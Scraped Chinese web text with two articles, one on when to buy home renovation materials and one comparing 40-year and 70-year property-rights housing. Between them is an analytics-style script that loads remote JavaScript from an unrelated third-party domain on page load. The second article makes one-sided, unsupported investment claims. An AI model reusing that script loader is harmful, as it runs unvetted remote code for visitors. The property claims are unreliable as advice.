房子装修材料一般在哪个阶段购买合适

很多人在装修的时候都想问：到底什么时候购买装修材料呢？买早了的话，材料可能会有保质期，可能还没有到装修的时候，材料就过期了，这样造成了很大的浪费；买晚了的话，可能会延误工期，导致装修工程停滞。所以什么时候买是最合适的成为了很多人的疑惑，其实在不同的装修阶段是可以购买不同的房子装修的材料的，一般分为前期，中期和后期。装修前期前期也就是装修还未开始或者是刚开始的阶段，这个时候也是需要购买装修材料的，因为装修肯定是离不开材料，前期不把必要的材料买好的话，工程就没有办法展开。那么前期需要购买到那些房子装修材料呢？首先，水泥以及砂石是肯定需要购买的，这是最基础的，其次就是一些防水的材料，还有墙漆以及墙砖地砖。装修中期前期装修完成以后，就进入了中期，这个时候基础的地面以及墙面可能都装修的差不多了，就可以采购中期需要的房子装修材料了。需要注意的是，很多人水电的安装的时间可能会不一样，很多人会选择在前期的时候进行水以及电的安装，那么在前期的时候就可以采购这类材料了，而另一些人会选择在中期进行，就可以等到中期再购买。此外，还有厨房以及卫生间的设施，是需要中期采购的房子装修材料。装修后期后期主要就是家具以及灯具的进场了，这个时候就可以去市场采购自己喜欢的家具等房子装修材料了，这一类型的房子装修材料比较容易毁坏，所以放到最后购买，运输的时候也需要注意。只要把这些基本的流程弄清楚了，在采购房子装修材料的时候按照流程来，就不会乱了，并且也可以避免一些不必要的损失，节约成本！ var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://m.kcdates.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

买40年产权商住房与70年产权住宅有什么区别?买哪个比较有钱途?

买房是个要很慎重再慎重的事情，但是好多购房者，尤其是第一次买房的，对于商住房和普通住宅的区别不是很清楚，不知道自己更适合哪一种房子?或者像我一个亲戚一样没弄清楚就买错了，售楼小姐说先不用怕，咱先来了解一下40年、70年产权的区别吧。房屋年限产权是如何区分的?中国的土地使用权在出让时，根据开发类型分为不同的使用年限：1、民用住宅用地权属年限最高为70年。2、工业建筑用地和综合类用地最高为50年。3、商用建筑用地最高为40年。40年产权商住房与70年产权住宅有哪些区别呢?购买商住房虽然不可以使用公积金贷款，但是购买40年商住房还是有它的优势：1、以后如果40年产权房要拆迁的话，获得的赔偿金会比70年产权住宅性质房屋获得的赔偿金要高。2、商业性质房屋拆迁时间短，换房时间能优先。3、业主一般多为单身贵族，企业白领，整体人群素质要高。4、商业规模形式，所以周边配套齐全，购物逛街、饮食方便，物业管理会更加的规范和到位。5、商业性质住宅办理按揭时间是到交付的时候，而70年产权住宅则是到房屋结顶时候就开始办理按揭。6、商业性质的房屋一般面积不会很大，称为单身公寓，所以总价较低，适合投资和过渡。7、商业性质房屋可自住，也可以注册营业执照来当办公房用。8、商业性质的土地在商铺结构配比上，要比住宅的商业配比合理很多，可以很快形成以小区为中心的商业氛围，更加能吸引人气，投资回报率必然会高上去。9、商业性质房屋对第二次换大面积住房无影响，仍然能享受第一套按揭利率。